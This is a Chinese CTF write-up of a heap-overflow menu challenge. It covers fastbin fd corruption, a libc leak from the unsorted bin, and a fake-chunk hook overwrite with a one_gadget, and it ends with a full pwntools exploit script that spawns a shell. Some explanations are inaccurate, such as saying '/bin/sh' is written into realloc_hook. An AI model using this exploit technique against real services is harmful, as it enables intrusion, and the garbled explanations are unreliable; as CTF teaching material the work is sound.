一道典型的菜单题,攻击方式是堆溢出。
进入main函数查看发现结构如下图:
分析allocate函数
可以发现这里能通过调用calloc函数,分配一块最大为4096的chunk(通过calloc分配的chunk会被清空内容)
分析fill函数
fill函数可以对一块内存进行任意大小的填充,为堆溢出提供了条件。
我们的攻击链大概是这样的:
首先创建5个chunk,idx分别为0,1,2,3,4,大小均为0x10。
然后free掉chunk1,于是chunk1被加入到fastbin里。再free掉chunk2,于是chunk2被加入到fastbin里面。由于大小跟chunk1相同,于是chunk2的fd会指向chunk1。
可见chunk2的fd指向的地址为0x55c33e3c9020,我们想让他指向chunk6,于是我们要把最后两位20改为80.
因为我们不能向bins里填充数据,于是我们只能通过向chunk0里面填充数据,使堆溢出,填充到被释放的chunk2的fd位置。填充代码如下。
如上图所示,0x55f7b3014080这个地址已经进了fastbins的链表了,但是chunk4并没有变成fastbin,因为fastbin里面的bin大小必须相同,所以如果我们想让chunk4变成bin,我们需要把chunk4的大小改成0x20。
如上,我们成功地将chunk4变成了fastbin。
接下来连续两个alloc,按照规则,先释放的先被申请回去。
如图,先申请回了chunk2,再申请回了chunk4.
这里有个重点!!!
我们之前有过两个free
chunk1本来是被free掉了的,之所以chunk1现在是allocated状态,是因为我们通过修改chunk2(bin)的fd,使fd指向chunk4,于是chunk1便从fastbins的链表里脱离出来了。我们并不是通过“正当手段”将chunk1申请回来的。所以如果我们下次再allocate,申请的chunk会放到chunk1的位置。
所以上图中的两个alloc,第一个使将chunk2申请回来,放到chunk1的。再将chunk4申请回来,放到chunk2的位置。也就是说,index2和index4位置上都是chunk4.
再通过上面这一段代码,将chunk4的大小改回来。
接下来我们的思路是free掉chunk4,由于chunk4大小为small bin,所以他会被归为unsorted bin。如果unsorted bin里只有一个chunk,那么这个chunk的fd和bk都会指向一个地方——unsort bin的头部。
但是,由于chunk4跟top chunk物理相邻,如果释放chunk4,会导致chunk4和top chunk合并。所以我们这个时候应该再申请一个chunk5,起分隔作用。效果如下。
通过dump函数接收chunk4的fd(bk),得到的地址减去偏移量便是libc的基址。
所以我们现在已经找到libc了。
下面我们申请一个大小为0x60大小的chunk。因为我们的unsorted bin里有一个大小为0x80大小的chunk,所以我们申请的时候,会从这个chunk里分0x60大小的chunk出来。如下图:
申请出来的0x60大小的chunk为allo状态,我们上一个释放的chunk是chunk4,所以这次申请回来的chunk的idx也为4。剩下的0x10大小的chunk为free状态。
下面我们free(4),结果如下:
刚申请出来的chunk4进了fastbin。
还记得我们前面说过,chunk4的idx既为2又为4吗?不记得的往前翻翻。如果我们想往chunk4里填东西,应该是fill(2)还是fill(4)呢?答案是fill(2).为什么呢?因为我们free(4)了,我们不能往free过的地方填充东西,因此用free(2)间接达到了free(4)的作用。
下面是重点!!!
为什么我们想往chunk4里写东西?写什么呢?
首先要知道一个知识点,就是你在调用malloc函数的时候,系统会首先检测一个地方,叫realloc_hook。如果这个地方为0,那么就正常malloc,如果这个地方被填充了某些东西, 那么我们就不会malloc,而是会执行这个这个地方存放的东西。如果我们填一个/bin/sh,岂不妙哉?
但是怎么往这个地方填东西呢?答案就是在这个地方找(或者伪造)一个fake chunk。可以使用一个工具,find_fake_fast.
我们再main_arena附近找一个fake chunk,找到了。这个fake chunk的样子像这样。
为什么他叫fake chunk?因为这个地方0x7f25adcfdaed,我们没有申请过他,所以他并不是一个chunk,但是他又有一个0x7f在他的size位,是不是很像一个chunk?
通过上述代码,我们可以将chunk4的fd改为0x7f25adcfdaed,如下图:
也就是说,这个时候,chunk4跟0x7f25adcfdaed是在同一链表上的。那么我们通过alloc申请的话,顺序是,先把chunk4申请回来,再把0x7f25adcfdaed申请回来,不就相当于,我们通过allocate在0x7f25adcfdaed这个地方申请了一个chunk吗?那我们就可以对这个chunk进行写操作了。
于是我们进行两次alloc函数的调用。第一个alloc申请回来chunk4,第二个alloc申请了chunk6(因为我们之前申请过一个chunk5,并且chunk5没有被free,idx5被占用了)。
如上图,我们fill(6),payload内容为onegadget找到的/bin/sh
如下:
如图:realloc_hook已经被我们填上了/bin/sh。
这样一来,我们只要调用malloc,就可以执行hook这个地方的东西。随便alloc一下就行了。
代码如下:
from pwn import *
#p=remote('node4.buuoj.cn','27126')
p=process('./a')
context.log_level = 'debug'
#libc_base = ELF("./libc-2.23.so")
#context.terminal = ['tmux','splitw','-h']
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()
alloc(0x10)#0
alloc(0x10)#1
alloc(0x10)#2
alloc(0x10)#3
alloc(0x80)#4
free(1)
free(2)
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
#gdb.attach(p)
alloc(0x10)
#gdb.attach(p)
alloc(0x10)
#gdb.attach(p)
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)
#gdb.attach(p)
alloc(0x80)
free(4)
#gdb.attach(p)
libc_base = u64(dump(2)[:8].strip().ljust(8, "\x00"))-0x3c4b78
log.info("libc_base: "+hex(libc_base))
alloc(0x60)
#gdb.attach(p)
free(4)
#gdb.attach(p)
payload = p64(libc_base+0x3c4aed)
fill(2, payload)
#gdb.attach(p)
alloc(0x60)
alloc(0x60)
payload = 'a'*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)#不同的ibc对应的这个地址不同
#我本机找到的可用的onegadget是0x4527a,但是远程要用0x4526a才能打通。
fill(6, payload)
#gdb.attach(p)
alloc(1)
p.interactive()
完毕